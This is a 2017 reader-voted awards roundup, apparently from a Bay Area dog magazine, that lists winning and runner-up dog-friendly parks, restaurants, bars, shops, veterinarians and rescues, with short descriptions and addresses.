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Beast of the Bay Awards 2017

Honor Your Beast

Yippee, time to break out the champagne and dog biscuits to celebrate the Beast of the Bay Award winners. The ninth annual Beast of the Bay Awards contest gathered more votes than previous Beasts, making this Beast balloting über competitive.

Bay Woof followed the two-pronged approach introduced in 2016 that allowed voters to nominate, in an open-ended fashion, their favorites in categories as phase one. For the second and final phase two, the top vote-getters faced off with readers choosing from the set contenders.

The contest winners are presented here in seven sections: the web, food and drink, shopping, health and wellness, canine services, and shelter and rescue. Some, not all, have regional components. Did your favorite blog, bakery, product, veterinarian, dog walker, and nonprofit make the cut?

There are both familiar and new dog-centric businesses and individuals on the list. Be sure to offer all hearty congratulations the next time you encounter them.



Stanford Inn-Brad Greenlee-CC

Photo by Brad Greenlee-Creative Commons

Posh Pup Living

Best Dog-Friendly Lodging

The Stanford Inn by the Sea, Mendocino

Unparalleled. That is the only way to describe this lushly high-end Mendocino eco-resort decked out with warm woods and fireplaces. A handmade treat will be waiting for your furry friend along with stainless steel food and water dishes and a whole lot of staff enthusiasm. Admire the onsite organic garden before strolling the picturesque grounds. Your pooch will adore the smells and resident tail-waggers Ellie and Murphy. This truly sublime venue also boasts an all-vegan restaurant (they really love animals here!) that is decadent enough to convert the most diehard carnivore. After dinner, cozy up in your Forest Suite Bedroom and hug Fido on your private deck. Best of all, if your travel partner (the two-legged kind) has a cat, iguana, pot-bellied pig, tortoise, or other spectacular friend with him, this unique guest is also entirely welcome to stay. 44850 Comptche Ukiah Road, 707-937-5615,

Runners-up: Carmel Valley Lodge, Carmel Valley,; Sheep Dung Properties, Boonville,; Kimpton Hotels, San Francisco,; Cavallo Point, Sausalito,


Best thing to Happen to Bay Area Dogs in the Last Year

Muttville Senior Dog Rescue, San Francisco

The saying, “Age ain’t nothin’ but a number,” holds true at Muttville, a rescue that finds forever homes for pooches in their golden years. After nurturing, rehabilitating, or fostering furry friends, Muttville connects them with loving families who value the tail-wagging wisdom of an older generation. 255 Alabama St., 415-272-4172,

Runners-up: The Milo Foundation, Point Richmond,; Furry Friends Food Relief Program, Brentwood,; Everyone Loves a Corgi Meetups, San Francisco,


Best Dog-Friendly Politician

Gov. Jerry Brown

It’s not every day you see a Pembroke Welsh Corgi pattering around an official government building or hitting the campaign trail. But Sutter (who sadly passed in 2016) and his little sister, Colusa “Lucy” Brown, make the rounds alongside papa, Gov. Jerry Brown. Three cheers for a politician who takes “pet projects” seriously.

Runners-up: Rep. Jackie Speier,; State Sen. Scott Wiener,; Alameda Mayor Trish Herrera Spencer,; SF Supervisor Katy Tang,


Best Dog-Friendly Workplace

Pet Food Express, various locations

If you’ve walked through the welcoming doors of a Pet Food Express, you were most likely greeted with a smile and a snack—a complimentary cookie for your dog, that is. It’s not just customers who get pet-friendly perks; employees enjoy pet insurance and spend their days meeting the neighborhood four-leggers. Barktastic!

Runners-up: Google, Mountain View,; 7 Mile House, Brisbane,; Montclair Veterinary Hospital,; Airbnb, San Francisco,


Best Dog Park

Point Isabel Regional Shoreline, Richmond

An outdoor haven with spectacular views, Point Isabel is a venerable favorite among dog owners. It’s well loved for being an off-leash space where parents can run free beside their pooches (as long as furry ones are under voice control) and revel in cool grass on warm days. 2701 Isabel St., 888-327-2757,

Runners-up: Fort Funston, San Francisco,; Hap Magee Ranch Park, Danville,; Upper Douglass Dog Play Area, San Francisco,; Buena Vista Park, San Francisco,


Best Hiking Trail

Fort Funston, San Francisco

Voters love this eye-pleasing natural wonder not only for its beautiful coastal location, but also because it allows Fido to hike leash-free. Known for blustery weather, Fort Funston requires bringing an extra layer for warmth (so bring that dog sweater you love to see your puppy wear, too). Fort Funston Road, 415-561-4700,

Runners-up: Lands End, San Francisco, Golden Gate National Recreation Area,; Redwood Regional Park, Oakland,; Tilden Regional Park, Berkeley,; Sibley Volcanic Regional Preserve, Oakland,


Best View With a Dog

Crissy Field, Golden Gate National Recreation Area, San Francisco

This isn’t the first time Crissy Field is taking the gold medal for gorgeous views paired with canine companionship. Last year, readers ranked it No. 1 for breathtaking oceanfront views and perfect curl-up-and-snuggle scenery. Make plans to take your happy hound here for an unforgettable sight. 415-561-4700,

Runners-up: Point Isabel Regional Shoreline, Richmond,; Fort Funston, San Francisco,; Bernal Heights Park, San Francisco,; Albany Bulb, Albany,


Best Canine Sports Event

Bark at the Park, Oakland Athletics, Oakland

Where else can you grab a beer, a hot dog, and watch your favorite team knock it out of the park with your dog at your side? Canine competitions for Best Style, Best Green and Gold Outfit, and Best Smile add to the fun. 7000 Coliseum Way,

Runners-up: Splash Dogs, Pittsburg,; Barn Hunt,; The Fido 500 Dog Race, San Francisco,


Best Adult Dog Play Group/Event

Bravo!Pup, various East Bay locations

At Bravo!Pup, playing is the foundation for learning, and award-winning trainers give positive instruction to pets and pet owners to improve the dog-human relationship. The doggie play groups teach techniques for encouraging happy social interactions and offer plenty of exercise. 2625 Alcatraz Ave., Suite 123, Berkeley, 510-621-3630,

Runners-up: Dodger’s Paws, various East Bay Locations,; Klub K9 Play Center, Sunnyvale,


Best Day Trip with Dog

Carmel Beach, Carmel-by-the-Sea

Soft white sand sets the stage at this stunning beach where dogs (under voice control) can explore a scenic paradise off-leash and carefree. While surfers ride waves and couples lounge under Monterey pines, you and your fur baby can soak up a memorable day trip you’ll probably take again. 831-624-2522,

Runners-up: Half Moon Bay,; Stinson Beach,; Kehoe Beach, Point Reyes National Seashore,


Best Dog-Friendly Campground

New Brighton State Beach, Capitola

If the thought of sitting by the campfire with your beloved pooch sounds like heaven on earth, then New Brighton State Beach just became your new favorite place. There are more than 100 campsites at this coastal park in Santa Cruz County with ample stretches of leash-free, dog-friendly beaches for frolicking.

Runners-up: Riverside Campground & Cabins, Big Sur,; Manchester Beach/Mendocino Coast KOA,; Casini Ranch Family Campground, Sonoma County,; Mount Madonna County Park, Santa Clara County,




Molly Mutt Perfect Afternoon Dog Duvet

Dog bed courtesy of Molly Mutt

Beyond Bark and Mortar

Best Online Dog Boutique and (Tie)

These two e-shopping destinations went tail to tail to garner a tie for Best Online Dog Boutique. Each is so adorably and creatively different; one creates unique treats and sells plush toys, while the other concentrates on home-and-design products. PawPatchPatries specializes in delectable and delicious gourmet treats that are natural, organic, wheat free, corn free, soy free, and gluten free—and total eye candy. PawPatch is like the Sprinkles Cupcakes of the chowhound dessert world. It also offers deluxe plush toys like the Chewy Vuiton handbag Johnnie Dogwalker Ruff Label Scottie Whisky. What PawPatch does for fun and flavor, MollyMutt does for comfort and style and home décor. These clever designers offer high-end, well-made duvets that can be filled with clothes, towels, blankets, or anything else with your pup’s favorite scent: you. Crate covers for blending in with home décor and collars are also available from this trendy and stylish puppy accoutrement retailer.



Best Dog-Friendly Travel Website

From waterfall hikes to an enchanted cottage B&B, DogTrekker has your Fido-friendly needs covered. With a quick click, you will discover road trips, restaurants, beer gardens, and beaches that all welcome furry children and their parents. It’s as though DogTrekker has a pup with its nose in the air smelling out every possible idea for fun and a devoted webmaster to put it all online.



Best Dog Blog

While exploring DogTrekker, you will no doubt discover Vet Buzz, the health and safety blog with tons of tips for keeping your best friend protected. Written by a team of Bay Area veterinarians, the blog covers topics from ear infections and ticks to polluted water and snake bites.



Best Dog Social Networking Site

Dog Connect SF Bay Area

As a hub for bringing dogs and people closer together, DogConnect does exactly what its name implies. Whether via Facebook, Twitter, the blog, or in person at meet-up groups or training events, social networking opps seem endless. Join, explore, or learn more at any one of the online channels.

Runners-up: Smart Paws Pet Resources,; The Dog Buddha,; McLaren Park Dog Lovers,


Best Online Vet Advice

Wondering why your puppy keeps scratching his ear or whether your senior pal needs to be more active? Head to petMD where veterinarians answer questions on health and safety. A symptom checker, a healthy weight tool, and chocolate toxicity meter are just a click away, as are helpful blogs, tips, idea lists, current pet news, and more.

Runners-up:;; VCA Madera Pet Hospital,;


Best Online Adoption Site

When you are ready to expand your family or find your new best friend, all you need is Petfinder. Just type in your location and the type, size, age, breed, and characteristics of the darling you want to meet, and results appear instantly as well as where to find the little dearie.



Best Overall Website for Dog Lovers

In one comprehensive, easy-to-navigate site, there is information on dog-friendly hikes and houseboats, ideas for where to vacation, details about local adoptions and rescues, and pup attractions your pooch will adore. Plus, there’s a veterinarian-authored blog about health and safety to calm your worries and keep Fido wagging.




Food & Drink

Furry Friends

Logo courtesy of Furry Friends

Tasty, Terrific Treats

Best Free Treats — East Bay

Furry Friends Food Relief Program, Brentwood

Pet owners in need have a true friend with the Furry Friends Food Relief Program. Conceived to keep animals out of shelters when their humans experience financial strain or homelessness, FFFRP offers food, bedding, leashes, collars, treats as well as spay/neuter services, vaccinations, and training with the default motto, “If you are in need, we take your word for it.” Furry Friends strives to provide enough sustenance for a month for the number of animals in a household, relying on donated food for the commitment. Animals must be fixed, and their humans seeking services must fill out an application and register. FF’s Erin Pina said there is always a big stash of treats at the distribution center, 1300 Central Blvd., Suite E, in Brentwood for visitors, and treats are standard issue for all the pup clients, too. Furry Friends’ mailing address is
P.O Box 1222, Oakley, 925-240-3178,

Runners-up: Holistic Hound, Berkeley,; Waggin Tails Pet Supplies, Union City,; Montclair Veterinary Hospital, Oakland,


Best Free Treats — San Francisco

Jeffrey’s Natural Pet Foods

From house-made jerky to dried hot dog bites and freeze-dried treats, your dog will love a taste of Jeffrey’s samples, gobbling them up with gusto. That’s a sure way to decide which ones to take home. Duboce Park, 284 Noe St., 415-864-1414, North Beach, 1841 Powell St., 415-402-0342,

Runners-up: Paw Patch Pastries,; San Francisco Raw,


Best Free Treats — South Bay/Peninsula

7 Mile House, Brisbane

Three little words: peanut butter biscuit. Your dog gets a free treat during Yappy Hour, 6-9 p.m. Monday-Friday, making every day a “pawty.” Other reasons to love 7 Mile House: dog menu, dog beer, dog cigars, and a partnership with Mighty Dogs Rescue. 2800 Bayshore Blvd., 415-467-2343,

Runners-up: For Other Living Things, Sunnyvale,; Unleashed by PetCo, Willow Glen, San Jose,; Millbrae Pet Food Express,; Breakers Cafe, Redwood City,


Best Dog Happy (Yappy) Hour — East Bay

Lazy Dog Restaurant & Bar, Concord

When in the mood to dine and drink with your pooch, Lazy Dog is where to go, thanks to a dog-friendly patio, the doggie-centric menu items served in special dog’s-only bowls, and the downright dog-loving overall vibe. Willows Shopping Center, 1961 Diamond Blvd., 925-849-1221,

Runners-up: Ale Industries, Oakland,; Cleophus Quealy Beer Co., San Leandro,


Best Dog Happy (Yappy) Hour — San Francisco

San Francisco SPCA Thursday Night Yappy Hour

In February, the SF SPCA staged Yappy Hour, a pop-up adoption center at 2 Embarcadero Center on Thursday evenings, “bringing cuddles, kisses, and cuteness” plus free adult beverages and nibbles to those stopping by to meet adoptable animals. Word is it’s coming back. 201 Alabama St., 415-554-3000,

Runners-up: SF Puppy Prep,; Jeffrey’s Natural Pet Foods,; Diggity Dog,; Bender’s,


Best Dog Happy (Yappy) Hour — South Bay/Peninsula

Lazy Dog Restaurant & Bar, Cupertino

Lazy, laid-back afternoons with your pooch stretched out beside you on the perfect patio. Both of you content from snacks and beverages made especially for you. There’s no better way to spend a day. Main Street Cupertino, 19359 Stevens Creek Blvd., 408-359-4690,

Runners-up: 7 Mile House, Brisbane,; Cinnabar Winery, Saratoga,; Hapa’s Brewing Company, San Jose,; Royal Pup Palace, San Jose


Best Fresh Water Bowl — East Bay

Point Isabel Regional Shoreline, Richmond

Dogs, dogs, and more dogs, plus their humans enjoy this heaven-on-earth spot where water bowls are aplenty. Scenic views of SF and 23 acres for frolicking off-leash fun plus a human-canine café. 2701 Isabel St., 888-327-2757,

Runners-up: Holistic Hound, Berkeley,; Holistic Veterinary Care, Oakland,


Best Fresh Water Bowl — San Francisco

Fort Funston

Wind, sandy cliffs, and lots of trails provide the allure for this iconic and expansive ocean-side outpost and retreat where happy dogs can roam free without any traffic worries while their people revel in their romping. The beach is basically pup paradise. Fort Funston Road, 415-561-4323,

Runners-up: Jeffrey’s Natural Pet Foods,; Bernal Heights Park,; HighTail Hotel,; The Animal House
Pet Mercantile,


Best Fresh Water Bowl — South Bay/Peninsula

Stanford Shopping Center, Palo Alto

Shopping with your pup by your side—now we’re talking. And that’s exactly what you can do at this open-air high-end shopping mall in Palo Alto near the Stanford campus. Your furry friend is welcome in many stores, though not restaurants. 660 Stanford Shopping Center, 650-617-8202,

Runners-up: 7 Mile House, Brisbane,; Pet Food Express,; Gussied Up Dog Boutique, San Jose,; Hannah Coffee Tea Sweets, San Jose,


Best Dog-Friendly Restaurant — East Bay

Lazy Dog Restaurant & Bar, Concord

You’ll feel right at home here with your dog, since this establishment—which does, after all, boast dog right there in its name—caters to keeping canine critters comfy on the sprawling patios while satiating the humans. Willows Shopping Center, 1961 Diamond Blvd., 925-849-1221,

Runners-up: Café Leila, Berkeley,; Zephyr Grill & Bar, Livermore,; Café Jolie, Alameda,


Best Dog-Friendly Restaurant — San Francisco

Southern Pacific Brewing

No one will bat at eye at the dog snoring under your feet or poking his nose over the edge of the picnic tables in the outdoor beer garden/patio at this Mission district brewery. It’s a fine place to let your pup tag along. 620 Treat Ave., 415-341-0152,

Runners-up: 4505 Burgers & BBQ,; Zazie,, La Méditerranée Noe,; Nourish Café,


Best Dog-Friendly Restaurant — South Bay/Peninsula

Lazy Dog Restaurant & Bar, Cupertino

Dogs and their people love this American eatery, thanks to the dog-is-family-too perspective that drives the patio philosophy. It’s a dog lover’s dream with a cozy enclosed fire pit, ample seating, plus a generous dog menu so Rover won’t feel forgotten. Main Street Cupertino, 19359 Stevens Creek Blvd., 408-359-4690,

Runners-up: 7 Mile House, Brisbane,; Rock Bottom Restaurant & Brewery, Campbell,; Mayfield Bakery & Cafe, Palo Alto,


Best Dog-Friendly Bar — East Bay

Lucky 13, Alameda

Lucky 13 proves popular with drinking dog folk who can congregate on the outdoor patio under a tent (and smoke). A dive bar exhibiting refined tastes in beer, wine, and spirits, it occupies one of the best people-watching corners in Alameda. 1301 Park St., 510-523-2118,

Runners-up: Ale Industries, Oakland,; Mad Oak Bar ’n’ Yard, Oakland,


Best Dog-Friendly Bar — San Francisco

Beach Chalet

The next time you and your dog get beachy, finish up your sandy field trip by getting brew and a bite at Beach Chalet. Pooches are welcome on the outdoor dining section where umbrellaed tables abound at this classic beachfront restaurant and brewery. 1000 Great Highway, 415-386-8439,

Runners-up: El Rio,; Benders,; Holy Water,; Tee Off Bar & Grill,


Best Dog-Friendly Bar — South Bay/Peninsula

Lazy Dog Restaurant & Bar, Cupertino

Have some doggone fun spotting dogs on the draft beer menu: Lagunita’s Seasonal, Lazy Dog Hefeweizen, Lazy Dog Red Ale, Lazy Dog Pale Ale, Lazy Dog IPA, Lagunita’s IPA, most of which come in 16- or 22-ounce pours. It’s a ruff life. Main Street Cupertino, 19359 Stevens Creek Blvd., 408-359-4690,

Runner-up: 7 Mile House, Brisbane,


Best Dog-Friendly Coffeehouse — East Bay

Timeless Coffee, Oakland

It may appear old timey, but this Piedmont Avenue baker, roaster, and coffee brewer is hipster all the way, with the beards to prove it. Let your dog hold your sidewalk table or accompany you to order something brewed, baked, or cooked inside. 4252 Piedmont Ave., 510-985-1360,

Runners-up: Mosley’s Cafe, Alameda,; Espresso Rosetta, Livermore,; Bica Coffeehouse, Oakland,


Best Dog-Friendly Coffeehouse — San Francisco

Duboce Park Café

Simply put, the Duboce Triangle neighborhood wouldn’t be as warm, inviting, and neighborly without this quaint and terrific café that serves as a friendly and vibrant anchor. Bring your dog, your kid, your friends, your visitors: They’ll love everything about this gem. 2 Sanchez, 415-621-1108,

Runners-up: Caffe Trieste,; Precita Park Café,; Flywheel Coffee Roasters,; CoffeeShop,


Best Dog-Friendly Coffeehouse — South Bay/Peninsula

Madhouse Coffee, Brisbane

This quiet, quaint Brisbane mainstay has the perfect rustic backyard setting for a coffee lover to leisurely enjoy a cup of Joe and a savory breakfast wrap or perfect pastry while his trusty, loyal four-footed friend rests peacefully on the enclosed patio. 402 Visitacion Ave., 415-467-4003,

Runners-up: Hannah Coffee Tea Sweets, San Jose,; B2 Coffee, San Jose,


Best Dog-Friendly Winery — East Bay

Winner — Rosenblum Cellars, Oakland

It probably doesn’t hurt that Roseblum Cellars founder Kent Rosenblum is a veterinarian who loves dogs. Known for its bold Zinfadels, under its current ownership this urban winery has a well-appointed patio perfect for relaxing with your furry sidekick near the Jack London Square ferry terminal. 10 Clay St., 877-GR8-ZINS (478-9467,)

Runners-up: Retzlaff, Livermore,; Tenuta Vineyards, Livermore,; Riggers Loft Wine Company, Richmond, Riggers


Best Dog-Friendly Winery — South Bay/Peninsula

Big Dog Vineyards, Milpitas

Daisy the Great Dane rules at this dog-friendly winery. The view from the exquisite farmhouse porch is lovely, and the back patio is shaded with umbrellas. And the wine? From Chards, Cabs to Zins, montages (blends), and vin doux naturels, they’re all good. 4545 Felter Road, 669-BIG-DOG5 (244-3645),

Runners-up: David Bruce Winery, Los Gatos,; Loma Prieta Winery, Los Gatos,; House Family Vineyards, Saratoga,



Paw Patch Pastries

Photo of meatballs courtesy of Paw Patch Pastries

Something to Bark About

Best Dog-Friendly Bakery — San Francisco

Paw Patch Pastries

Paw Patch Pastries is a barkery—rather, a bakery, for dogs (and, OK, cats). Of course, you’ll have to do the ordering of the cookies, pupcakes, and gourmet treats for your fur baby or VIP (very important pup). These artisan treats are organic and natural, made with human-grade ingredients, and most are wheat, corn, soy, and gluten free. Throwing a pawty for your pooch? Paw Patch goods features yummy ingredients like chicken, peas, carrots, peanut butter, banana, berry, carob, bacon, and apples. Cakes come in seasonal flavors and various sizes, and shapes, so pick something round or shaped like a bone, paw, or giant cupcake—or custom-order your beast’s favorite form. Pick up Beastro Bones, BonBons, a Cookie Box, and maybe a plush toy sure to satisfy all types of dogs, from the pickiest pincher to the tiniest terrier. 3150 18th St., Suite 112,

Runner-up: Le Marcel Bakery,


Best Dog-Friendly Bakery — East Bay

Sweet Adeline BakeShop, Berkeley

Small-batch baking at its best, with a spot for Fido outside, front and center, where he can watch you pick up sweet and savory goodies. The staff members have been known to fête furry friends with personal water bowls. 3350 Adeline St., 510-985-7381,

Runners-up: Bark Stix, Point Richmond,; Timeless Coffee, Oakland,


Best Pet Superstore

Pet Food Express

This California chain, with corporate offices in Oakland, knows a lot about pet food, pet products, animal care, homing pets, and pet training, while being a corporate good citizen. Pet Food Express promises low prices and accepts returns, including opened pet food, if your pet doesn’t love it. That’s good customer service.

Runners-up: PetSmart,; Pet Club,; PetCo,; Unleashed by PetCo,


Best Pet Boutique — East Bay

Holistic Hound, Berkeley

For discerning pet owners who want to observe holistic pet protocol, Holistic Pet is the place for you, with a host of natural and complementary therapies, consultations, workshops, and practitioner referrals available. You can find collars, leashes, bedding, treats, and toys for your dog, too. 1510 Walnut St., Suite A, 510-843-2133,

Runners-up: Molly’s Pup-Purr-ee, Danville,; Furry Friends Food Relief Program, Brentwood,; Paws & Claws, Oakland,; Murphy’s Paw, Pleasanton,; Waggin Tails Pet Supplies, Union City,; Alpha Pet Supply, Albany,


Best Pet Boutique — San Francisco

Jeffrey’s Natural Pet Foods

When you want your dog to look his or her best, select a Gwen Gear or Wildebeest collar from Jeffrey’s. When you visit, score a tough-as-nails, cute-as-a-bug plush toy by Hugglehounds, Outward Hound, Tuffys, and VIP. Duboce Park, 284 Noe St., 415-864-1414, North Beach, 1841 Powell St., 415-402-0342,

Runners-up: Pawtrero Bathhouse & Feed Co.,; Paw Patch Pastries,; Cal’s Pet Supply,


Best Pet Boutique — South Bay/Peninsula

Bow Wow Meow, San Carlos

Bow Wow Meow is full of barrels of treats, rows of collars and leashes, beautiful gourmet canine goodies piled high, racks of doggie outfits, and the latest premium food brands. Need a travel crate for your Pom or a plush bed for your ’doodle? Check and check. 737 Laurel St., 650-802-2845,

Runners-up: For Other Living Things, Sunnyvale,; The Pet Place, Menlo Park,


Best Doggie Birthday Present — East Bay


To really impress your best friend, subscribe to BarkBox. That way, he’ll get a delivery natural treats, chews, and cool toys centered on a new theme every month. He’ll love you even more. The marketing is genius: “Bark is creating a brand for a generation of people who love their dogs like children.”

Runners-up: Paco Collars, Berkeley,; Holistic Hound, Berkeley,; Waggin Tails Pet Supplies, Union City,


Best Doggie Birthday Present — San Francisco

Paw Patch Pastries

Throw her a Paw Patch Pawty. The “Pawty Package” includes a bone cake and candle, a party hat, a toy, a frosted party cookie, and a package of Beastro Bones. This bakery has been doing this since 2010, so it’s a total pro experience. 3150 18th St., Suite 112,

Runner-up: Snacks from Jeffrey’s Natural Pet Foods,


Best Doggie Birthday Present — South Bay/Peninsula

Doggie Party at 7 Mile House, Brisbane

Buy rounds of “beers” and “cigars” for the guest of honor and up to six well-behaved doggie friends—just make a reservation with Vanessa Garcia, the dog-loving owner. Staffers deliver a birthday biscuit with a lit candle, sing happy birthday, and then the howling begins. 2800 Bayshore Blvd., 415-467-2343,

Runners-up: For Other Living Things, Sunnyvale,; Gift certificate from Doggone Dirty Dog Sports, Hollister,


Best Locally Made Dog Stuff

Paco Collars, Berkeley

The stylish, high-grade leather leashes and collars designed and created at this Berkeley store are gorgeous, bedecked with gems, rivets, silver, tooling, you name it. Your dog deserves one, so stop by to try something on. Custom order or choose from ready-made styles. 2905 Shattuck Ave., 510-848-PACO (7226),

Runners up: Jeffrey’s Natural Pet Foods treats, San Francisco,; Bark Stix dog treats, Point Richmond,; Wildebeest pet products,
San Francisco,; San Francisco Raw treats, San Francisco,; Wagster treats, Marin,


Best Dog-Friendly General Retail Store — East Bay

Home Depot, various locations

Plop your wiggling, wagging friend into the seat of the cart or let her tool along at your side on the concrete floor at local Home Depot outlets. Besides turning a few heads, your dog may be a good sounding board for paint color, flooring, or patio furniture choices.

Runners-up: Cole Hardware, Oakland,; Sports Basement, Berkeley,; Pagano’s Hardware Mart, Alameda,; Dale Hardware, Fremont,


Best Dog-Friendly General Retail Store — San Francisco

Sports Basement

It’s nice to shop with your dog along, and that is a totally accepted practice at Sports Basement, the outdoor apparel and gear company that
rents and sells products for taming the wilds of urban and suburban environments. Presidio, 610 Old Mason St., 415-437-0100, Bryant Street, 1590 Bryant St., 415-575-3000,

Runners-up: Target on Geary,; Big Daddy’s Antiques,


Best Dog-Friendly General Retail Store — South Bay/Peninsula

Orchard Supply Hardware, various locations

Yes, your dog can come along while you shop for boxes and packing tape, grills and charcoal, electrical and plumbing supplies. Just make sure your boy or girl is OK with people who may want to tickle under the chin or give a bellyrub.

Runners-up: Biscuits — Give a Dog a Bone, San Jose,; SummerWinds Nursery, various locations,; Almaden Valley Nursery, San Jose,


Health and Wellness

Happy Hounds-Stewart Black-CC

Photo by Stewart Black-Creative Commons

Feels So Good

Best Alternative Medicine Provider — San Francisco

Happy Hounds Massage & Fitness

At almost any stage of life, your precious pooch is welcome in the trained hands of Shelah Barr, the owner and holistic practitioner of Happy Hounds who is way into the big picture of animal care, emphasizing how bodies hurt, heal, and age well. She offers multiple types of massage and fitness trainings to suit a variety of needs, from recovery to age to general well-being. She can offer a gentle touch to maintain a healthy activity level or detect potential concerns. Her alternative methods make her a guru of goodness to every Spot, Fido, and Rover in the neighborhood. Plus, she’s not only a certified massage therapist and dog fitness trainer, she’s also an advanced body worker and small animal massage practitioner. This master of all things hound-healing has so many acronyms after her name, she probably just deserves the whole alphabet. 3150 18th St., Suite 239, 415-298-6756,

Runners-up: Blue Sparrow Holistic Veterinary House Calls,; Kelly Smith, D.V.M., Smith’s Veterinary Service,


Best Alternative Medicine Provider — East Bay

Kirsten Williams, D.V.M., Creature Comfort Holistic Veterinary Center

Animals are a passion for this gold-star vet who has an undergraduate degree in zoology and a doctorate in veterinary medicine. Also trained in the art of holistic care, she is an esteemed pet physician offering healing services from both traditional and alternative practices. 2501 MacArthur Blvd., 510-530-1373,

Runners-up: Seth Dasho, D.V.M., Lotus Veterinary House Calls, San Francisco,; Anne Reed, D.V.M., All Paws Holistic Veterinary Clinic, Richmond,; Creature Comfort Holistic Veterinary Center, Oakland,; Gary Richter, D.V.M., Montclair Veterinary Hospital and Holistic Veterinary Care, Oakland,,


Best Alternative Medicine Provider — South Bay/Peninsula

Stephanie Sur, C.V.A., The Whole Pet Vet Hospital & Wellness Center, Los Gatos

All signs point to yes when it comes to Dr. Stephanie Sur, who has more fans than we can count. She is certified in veterinary acupuncture and excels in bringing integrative and holistic approaches to health care.
325 Los Gatos Saratoga Road, 408-402-3071 408,

Runners-up: Ilana Strubel, D.V.M., A Well Adjusted Pet at the Rex Center, Pacifica,; Rachael Feigenbaum, D.V.M., Lotus Veterinary House Calls, San Francisco,; Seth Dasho, D.V.M., LotusVeterinary House Calls, San Francisco,


Best Veterinary Clinic — East Bay

Bishop Ranch Veterinary Center & Urgent Care, San Ramon

Sam Ramon residents can rest assured that this state-of-the-art medical center with its 18 veterinarians and nearly 100 employee are able meet the needs of their canine companions. Dignity, compassion, and respect are the Bishop Ranch credo. 2000 Bishop Drive, 925-866-8387,

Runners-up: Theodore B. Travers Family Veterinary Clinic, East Bay SPCA, Oakland,; Muller Veterinary Hospital, Walnut Creek,; Creature Comfort Holistic Veterinary Center, Oakland,; Montclair Veterinary Hospital, Oakland,


Best Veterinary Clinic — San Francisco

San Francisco SPCA Veterinary Hospitals

Two full-service campus hospitals—the Leanne B. Roberts Animal Care Center (Mission Campus) and the Pets Unlimited Care Center (Pacific Heights)—help make sure the veterinary needs of SF dogs (and cats and small animals) are met. Mission Campus, 201 Alabama St., Pacific Heights Campus, 2343 Fillmore St., 415-554-3030,

Runners-up: Mission Pet Hospital,; San Francisco Pet Hospital,; Arguello Pet Hospital,; Irving Pet Hospital,


Best Veterinary Clinic — South Bay/Peninsula

Adobe Animal Hospital, Los Altos

When emergencies strike, Adobe is prepared, offering a 24-hour ICU with a veterinarian always on duty. Thanks to 28 veterinarians and able staff members, this full-service animal hospital runs efficiently and compassionately and covers issues ranging from diagnostic radiology to full dental services. 4470 El Camino Real, 650-948-9661,

Runners-up: Pet’s Friend Animal Clinic, Sunnyvale,; A Well Adjusted Pet at the Rex Center, Pacifica,; Reed Animal Hospital, Campbell and Saratoga,; Pinnacle Animal Hospital, San Jose,


Best Veterinarian — East Bay

James Pogrel, D.V.M., Bishop Ranch Veterinary Center & Urgent Care, San Ramon

Dr. James Pogrel is the medical director of Bishop Ranch, and he is especially interested in ultrasound, endoscopy, laparoscopy, internal medicine, oncology, and emergency/critical care. A veterinary graduate of UC Davis, he became a Bishop Ranch partner in 2005. 2000 Bishop Drive, 925-866-8387,

Runners-up: Erin Troy, D.V.M., Muller Veterinary Hospital, Walnut Creek,; Jenny Taylor, D.V.M., Creature Comfort Holistic Veterinary Center,; Gary Richter, D.V.M., Montclair Veterinary Hospital and Holistic Veterinary Care, Oakland,,; Anne Reed, D.V.M., All Paws Holistic Veterinary Clinic, Richmond,


Best Veterinarian — San Francisco

David Gordon, D.V.M., Mission Pet Hospital

Dr. David Gordon counts surgery, ultrasound, and alternative therapies as his major areas of interest. A San Jose native who studied environmental science and forestry at UC Berkeley, he went to UC Davis for his veterinary medicine degree. 720 Valencia St., 415-552-1969,

Runners-up: Curtis Press, D.V.M., Mission Pet Hospital,; Kelly Smith, D.V.M., Smith’s Veterinary Service,


Best Veterinarian — South Bay/Peninsula

Ilana Strubel, D.V.M., A Well Adjusted Pet at the Rex Center, Pacifica

A small animal veterinarian since 1995, Dr. Ilana Strubel has long practiced integrative medicine, emphasizing her patients’ total well-being. Her expertise is in behavior problems, pain management, and mobility issues, and she employs chiropractic, acupressure, and rehab therapy modalities. 1040 Palmetto Ave., Pacifica, 415-967-3861,

Runners-up: Rachael Feigenbaum, D.V.M., Lotus Veterinary House Calls,; David Reed, D.V.M., Reed Animal Hospital, Campbell and Saratoga,; Julie Miller, D.V.M., Pet’s Friend Animal Clinic, Sunnyvale,; Allison Moore, D.V.M., Pet’s Friend Animal Clinic, Sunnyvale,


Best Mobile Veterinary Practice

Lotus Veterinary House Calls, San Francisco

This mobile vet service uses a Western-Chinese approach to vet care and makes in-home exams for your pet easy. Lotus can handle everything from physical exams, diagnostics, acupuncture, cold laser therapy, and herbs to hospice care and compassionate euthanasia. 415-484-5842,

Runners-up: Chad S. Alves, D.V.M., Saratoga,; Anne Reed, D.V.M., All Paws Holistic Veterinary Clinic, Richmond,; Tracey Williams, D.V.M., Dog and Cat House Calls, San Ramon,; Tri-Valley Mobile Veterinary Service, Pleasanton,; Brent Martin, D.V.M., Mobile Vet, 925-746-2676


Best Canine Chiropractor — East Bay

Margaret Holiday, D.C., Creature Comfort Holistic Veterinary Center, Oakland

Beloved by clients, furry and otherwise, Dr. Margaret Holiday has been in the chiropractic field for over 20 years, dedicating the last four to animals. She also tends the chiropractic needs of horses and other pets at other specialized holistic veterinary offices. 2501 MacArthur Blvd., 510-530-1373,

Runners-up: Betsey Carpenter, C.A.C., The Canine Rehabilitation Center, Walnut Creek,; Susan West, DC, Danville


Best Canine Chiropractor — South Bay/Peninsula

Ilana Strubel, D.V.M., A Well Adjusted Pet at the Rex Center, Pacifica

Holistic and compassionate, Dr. Ilana Strubel is known for her ability to rehabilitate and recondition her pet patients with chiropractic solutions, acupuncture, acupressure, Chinese herbal medicine, soft-tissue mobilization, and other gentle therapies and has been a practicing veterinarian since 1995. 1040 Palmetto Ave., 415-967-3861,


Best Canine Massage Therapist — East Bay

Tracy Pavon, C.B.W., Muller Veterinary Hospital, Walnut Creek

Being a support to animals is second nature for Tracy Pavon, who has been part of the Muller team since 2001. While she works toward becoming a registered veterinary technician, she provides comfort and healing to the cutest, furriest critters on the planet. 2735 N Main St., 925-934-8042,

Runner-up: Marsha Converse, C.M.T., Good K9Karma, Oakland,


Best Canine Massage Therapist — San Francisco

Shelah Barr, C.M.T., Happy Hounds Massage & Fitness

